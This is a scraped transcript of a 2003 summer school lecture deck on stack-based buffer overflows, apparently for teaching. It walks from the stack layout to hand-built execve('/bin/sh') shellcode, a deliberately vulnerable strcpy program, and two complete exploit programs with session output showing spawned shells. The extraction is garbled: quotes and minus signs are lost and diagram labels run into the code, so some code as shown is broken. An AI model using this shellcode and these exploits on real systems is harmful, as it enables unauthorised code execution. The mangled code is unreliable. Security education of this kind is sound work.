international summer school on information and system security 2003 1 stack based buffer overflows...

of 52 /52
International Summer School on Info International Summer School on Info rmation and System Security 2003 rmation and System Security 2003 1 Stack Based Stack Based Buffer Buffer Overflows Overflows Alberto Ornaghi <[email protected] Lorenzo Cavallaro <[email protected]

Author: brenda-riley

Post on 06-Jan-2018

218 views

Category:

Documents


4 download

Embed Size (px)

DESCRIPTION

International Summer School on Information and System Security Introduction

TRANSCRIPT

  • Stack Based Buffer Overflows

    Alberto Ornaghi Lorenzo Cavallaro

    International Summer School on Information and System Security 2003

  • Table of contentsIA-32 introductionThe issueCode injectionShellcodeBuffer overflowLocal buffer overflow (no address guessing)

    International Summer School on Information and System Security 2003

  • Introduction

    International Summer School on Information and System Security 2003

  • Stack layout

    int foo(int a, int b){ int i = 5; return (a + b) * i;}

    int main(int argc, char **argv){ int c = 3, d = 4, e = 0; e = foo(c, d); printf(e = %d\n, e);}highlowstack

    International Summer School on Information and System Security 2003

  • Activation Record

    Return Address Its the address of the instruction to be executed once thecalled procedure ends.

    Saved Base Pointer (saved frame pointer) It holds EBP register value at the time the called procedure is run and it points to the previous activation record. ret addresssaved base pointerautomatic variables......highlow

    International Summer School on Information and System Security 2003

  • Nested ARs

    int foo(int a, int b){ bar(a, b);}

    int bar(int a, int b){ ...}

    int main(int argc, char **argv){ foo(c, d);}dchighlow

    International Summer School on Information and System Security 2003

  • CPU registers

    EIP: instruction pointerit points to the next instruction to be executed

    EBP: base pointer (frame pointer)it points to the base of the current AR (static)

    ESP: stack pointerit points to the top of the stack (dynamic)dchighlowret addressbSFPret addressaSFP

    International Summer School on Information and System Security 2003

  • Prologue and EpiloguePrologue:

    push %ebp(save %ebp)mov %esp, %ebp(move %ebp)

    Epilogue:

    leave(reset %ebp)ret(reset %eip)

    International Summer School on Information and System Security 2003

  • Automatic variables

    int foo(int a, int b){ int i, j; char buf[9]; }

    Default stack alignment is on a double word boundary (4 byte on ia32)

    So buffers are just padded to be ona double word boundary.bahighlowret addressbuf[0]ijSFPpad

    International Summer School on Information and System Security 2003

  • The issue

    International Summer School on Information and System Security 2003

  • Plain situation

    int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, securephd);}bahighlowret addressSFP

    International Summer School on Information and System Security 2003

  • Critical Situation

    int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, securephdbcde);}bahighlowret addressSFP

    International Summer School on Information and System Security 2003

  • Very critical situation

    int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, securephdaaabbbbcccceeeeffff);}bahighlow

    International Summer School on Information and System Security 2003

  • Code Injection

    International Summer School on Information and System Security 2003

  • Ret address modification

    bahighlow0xbffffcab0xbffffca70xbffffc8bint a = 3;int b = 5;int e;

    e = foo(a, b);

    printf(%d\n, e);

    International Summer School on Information and System Security 2003

  • ret addr guessing (1)

    There are no efficient algorithms allowing to blindly find out the ret addr, even if there exist few techniques that may help us while exploiting such vulnerabilities.

    We simply try to bruteforce the addresses space keepingin mind that the OS uses virtual memory with paging and so the stack always starts at the same fixed address Process 1Process 2highlow

    International Summer School on Information and System Security 2003

  • ret addr guessing (2)A Process image (roughly) looks like:

    envargvmain AR foo ARhighlow bar ARstatic (fixed)offsetvariable offset

    International Summer School on Information and System Security 2003

  • ret addr guessing (3)Stack pointer register (esp) represents a good baseto add offsets to (or subtract offsets from); theaddress obtained this way may be quite a goodcandidate as retaddr for the vulnerable program.

    buf[4]buf[0]aespret addrboffset (8)highlow

    International Summer School on Information and System Security 2003

  • IssuesFunctions that manipulate strings (strcpy, gets, etc) copy as far as they dont find a NULL byte (stringterminator).Injected code MUST NOT contain NULL bytes.

    code[] = \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47;

    strcpy(buf, code);

    buf = \xeb\x2a\x5f\xc6\x47\x07

    International Summer School on Information and System Security 2003

  • ret addr rangeTo improve our chance to find a suitable ret addr we can prepend to our injected code something that works like a landing strip: NOP (0x90) (machine instruction that does No Operation).

    ret address90 90 90 9090 90 90 90CODEINJE90 90 90 9090 90 90 90...Allowed ret addr rangeCTED

    International Summer School on Information and System Security 2003

  • Buffer structureInjected buffer will look like this one:

    NOP NOPEXECUTABLE CODERET ADDRcode[] = \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf;little endian !!

    International Summer School on Information and System Security 2003

  • Considerations...Target buffer might be too small to hold useful codes

    We may encounter non executable stack region

    We can put injected code anywhere in memory, not just into the stack

    International Summer School on Information and System Security 2003

  • Shellcode

    International Summer School on Information and System Security 2003

  • execve (1)

    intmain(void){ char *name[] = { /bin/sh, NULL }; execve(name[0], name, NULL);}int execve(const char *filename, \ char *const argv[], \ char *const envp[] );execve prototype (user land)

    International Summer School on Information and System Security 2003

  • execve (2)

    (gdb) disass main

    push %ebpmov %esp,%ebpsub $0x8,%esplea 0xfffffff8(%ebp),%eaxmovl $0x808b6c8,0xfffffff8(%ebp)movl $0x0,0xfffffffc(%ebp)push $0x0lea 0xfffffff8(%ebp),%eaxpush %eaxmov 0xfffffff8(%ebp),%eaxpush %eaxcall 0x804bf90 $0x808b6c8$0x0highlowstack layout

    International Summer School on Information and System Security 2003

  • execve (3)

    push %ebpmov %esp,%ebpmov 0x8(%ebp),%edimov $0x0,%eaxmov 0xc(%ebp),%ecxmov 0x10(%ebp),%edxpush %ebxmov %edi,%ebxmov $0xb,%eaxint $0x80highlowstack layout%ebp0x8(%ebp)0xc(%ebp)0x10(%ebp)%ebx

  • execve (4)

    must have the string /bin/sh somewhere in memory. must build the array holding the address of /bin/sh, followed by 0x0 (i.e., the address at which the address of the string /bin/sh is) put the proper values into the proper registers

    We:

    International Summer School on Information and System Security 2003

  • execve (5)

    Lets suppose that %ebx holds the address of the string /bin/sh, now it suffices to do:movl %ebx, 0x8(%ebx)movb $0x0, 0x7(%ebx)movl $0x0, 0xc(%ebx)leal 0x8(%ebx), %ecxleal 0xc(%ebx), %edxmovl $0xb, %eaxint $0x80highlowstack layout%ebxaddraddr0x8(%ebx)0$0x00xc(%ebx)addr+4addr+8addr+12

    /sh

    /bin

    International Summer School on Information and System Security 2003

  • execve (6)

    We cannot know the absolute address of the location at which the string /bin/sh is stored, but we dont care

    jmp aheadback: popl %ebx ahead: call back .string \/bin/sh\

    International Summer School on Information and System Security 2003

  • execve (7)

    jmp ahead # 0xeb 0x1c back: popl %ebx # 0x5b movl %ebx, 0x8(%ebx) # 0x89 0x5b 0x08 movb $0x0, 0x7(%ebx) # 0xc6 0x43 0x07 00 movl $0x0, 0xc(%ebx) # 0xc7 0x43 0x0c 00 00 00 00 leal 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 leal 0xc(%ebx), %edx # 0x8d 0x53 0x0c movl $0xb, %eax # 0xb8 0x0b 00 00 00 int $0x80 # 0xcd 0x80 ahead: call back # 0xd8 0xdf 0xff 0xff 0xff .string \/bin/sh\ # 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68

    International Summer School on Information and System Security 2003

  • Nil bytes avoidance

    International Summer School on Information and System Security 2003

  • Nil bytes

    movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0xb, %eax

    International Summer School on Information and System Security 2003

  • shellcode (1)

    intmain(void) { __asm__( jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 ahead: call back .string \/bin/sh\ ); }Are there any issues with thistest?

    International Summer School on Information and System Security 2003

  • shellcode (2)

    (gdb) x/29b 0x80483c30x80483c3 : 0xeb 0x16 0x5b 0x31 0xc0 0x89 0x5b 0x080x80483cb : 0x88 0x43 0x07 0x89 0x43 0x0c 0x8d 0x4b0x80483d3 : 0x08 0x8d 0x53 0x0c 0xb0 0x0b 0xcd 0x800x80483db : 0xe8 0xe5 0xff 0xff 0xff

    International Summer School on Information and System Security 2003

  • shellcode (3)

    #include

    unsigned char code[]= "\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43 \x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5 \xff\xff\xff/bin/sh";

    intmain(void){ void (*f)(void) = (void (*)(void))code;

    f();

    /* never reached */ exit(0);}

    International Summer School on Information and System Security 2003

  • shellcode (4)

    intmain(void){ char *name[] = { /bin/sh, NULL }; char *env[] = { PATH=/bin:/sbin:/nonexistent, NULL };

    execve(name[0], name, env);

    /* never reached */ exit(1);}

    International Summer School on Information and System Security 2003

  • shellcode (5)

    jmp aheadback: popl %edi jmp beginahead: call backbegin:

    xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx

    movl %ebx, 40(%ebx) movl %eax, 44(%ebx) movb %al, 7(%ebx) leal 40(%ebx), %ecxhighlow

    XXXX=/binPATH/shA/bin

    International Summer School on Information and System Security 2003

  • shellcode (6)

    movl %edi, %ebx addb $(env - begin), %bl

    movl %ebx, 48(%ebx) movl %eax, 52(%ebx) movb %al, 28(%ebx) leal 48(%ebx), %edx

    popl %ebx movb $0xb, %al int $0x80

    shell: .string \"/bin/sh\" # 7 bytesenv: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes

    .string \"APATH=/bin:/sbin:/nonexistentXXXX\highlow

    XXXX=/binPATH/shA/bin

    International Summer School on Information and System Security 2003

  • Shellcode testing

    unsigned char shellcode[] = \xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89 \x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b \xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

    int main(){

    void (*f)(void) = (void (*)(void))shellcode;

    f();

    }sh-2.03# iduid=0(root) gid=0(root) groups=0(root)

    International Summer School on Information and System Security 2003

  • Vulnerable program (1)

    void foo(char *);

    intmain(void){ char name[512];

    memset(name, 0, sizeof (name)); fgets(name, sizeof (name), stdin); name[strlen(name) 1] = 0;

    printf(calling foo \n); foo(name); printf(foo executed succesfully\n);

    exit(0);}

    International Summer School on Information and System Security 2003

  • Vulnerable program (2)

    voidfoo(char *s){ char buf[128];

    fprintf(stderr, buf @ %p\n, buf); memset(buf, 0, sizeof (buf)); strcpy(buf, s);

    printf(Hello %s\n, buf);

    return;}

    International Summer School on Information and System Security 2003

  • Vulnerable program (3)

    [email protected]% ./vuln ~PhD classcalling foo buf @ 0xbffff9fcHello PhD classfoo executed [email protected]% [email protected]% perl -e '{ print "A" x 256 }' | ./vulncalling foo ...buf @ 0xbffff9fcHello'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'zsh: 2587 done perl -e '{ print "A" x 256 }' |zsh: 2588 segmentation fault (core dumped) ./[email protected]% gdb -q -c core Core was generated by `./vuln'.Program terminated with signal 11, Segmentation fault.#0 0x41414141 in ?? ()

    International Summer School on Information and System Security 2003

  • Exploit (1)

    unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";

    #define NOP 0x90

    #define SIZE 256#define OFFSET 0#define ALIGN 0

    static long __inline__ get_esp(void);

    intmain(int argc, char **argv){

    int align, offset, size, c, i; long *ptr; long addr; char *p;

    International Summer School on Information and System Security 2003

  • Exploit (2)

    p = (char *) calloc(1, size + align); /* align ourself */ p = (char *) (p + align);

    addr = get_esp() + offset; ptr = (long *)p;

    for (i = 0; i < size; i += 4) *ptr++ = addr;

    c = size/2 - strlen(shellcode); memset(p, NOP, c); memcpy(p + c, shellcode, strlen(shellcode));

    printf("%s\n", p); exit(0);}

    International Summer School on Information and System Security 2003

  • Exploit (3)

    static long __inline__get_esp(void){

    long ret;

    /* * force using %eax as output register to align * ourself to gcc output */ __asm__ ("movl %%esp, %0" : "=a" (ret));

    return ret;}

    International Summer School on Information and System Security 2003

  • Exploit (4)

    [email protected]% (./x s 160 o 0x260; cat) | ./vuln[+] using address: 0xbffff9fc[+] NOP filling: 45 bytes[+] shellcode size: 35 /bin/shiduid=1021(sullivan) gid=100(users) groups=100(users)ls -a. local.c shellcode.c stack.c test.c vuln.c x.c x2.c x3.c.. local shellcode stack test vuln x x2 x3exit

    [email protected]%

    International Summer School on Information and System Security 2003

  • Local vulnerability (1)

    void foo(char *);

    intmain(int argc, char **argv){

    printf("calling foo ...\n"); foo(argv[1]); printf("foo executed succesfully\n");

    exit(0);}

    International Summer School on Information and System Security 2003

  • Local vulnerability (2)

    0xc0000000addressable in kernel spaceaddressable in kernel/user spaceenvinjected buffer (shellcodes address)argvnil terminated shellcode

    ./lo

    cal0

    shellcode

    International Summer School on Information and System Security 2003

  • Local exploit (1)

    #define VULN "./local"#define SIZE 160

    unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";

    intmain(int argc, char **argv){

    char p[SIZE]; /* put the shellcode in target's envp */ char *envp[] = { shellcode, NULL }; /* what to execute */ char *vuln[] = { VULN, p, NULL }; int *ptr, i, addr;

    International Summer School on Information and System Security 2003

  • Local exploit (2)

    /* * compute return address: since strlen doesnt * count for nil bytes, we do * 0xc0000000 4 1 1 = 0xbffffffa */ addr = 0xbffffffa - strlen(shellcode) - strlen(VULN); fprintf(stderr, "[+] using address: %#010x\n", addr);

    /* fill buffer with computed address */ ptr = (int * )p; for (i = 0; i < SIZE; i += 4) *ptr++ = addr; execve(vuln[0], vuln, envp);

    fprintf(stderr, "[!] execve: %s\n", strerror(errno)); exit(1);}

    International Summer School on Information and System Security 2003

  • Local exploit (3)

    [email protected]% ./x2[+] using address: 0xbfffffd0calling foo ...Hello '[email protected]'sh-2.05a$ lslocal shellcode.c stack.c test.c vuln.c x.c x2.c x3.clocal.c shellcode stack test vuln x x2 x3sh-2.05a$ [email protected]%

    International Summer School on Information and System Security 2003

  • ContactsLorenzo Cavallaro Alberto Ornaghi http://sullivan.antifork.org/http://alor.antifork.org/http://shellcodes.antifork.org/

    International Summer School on Information and System Security 2003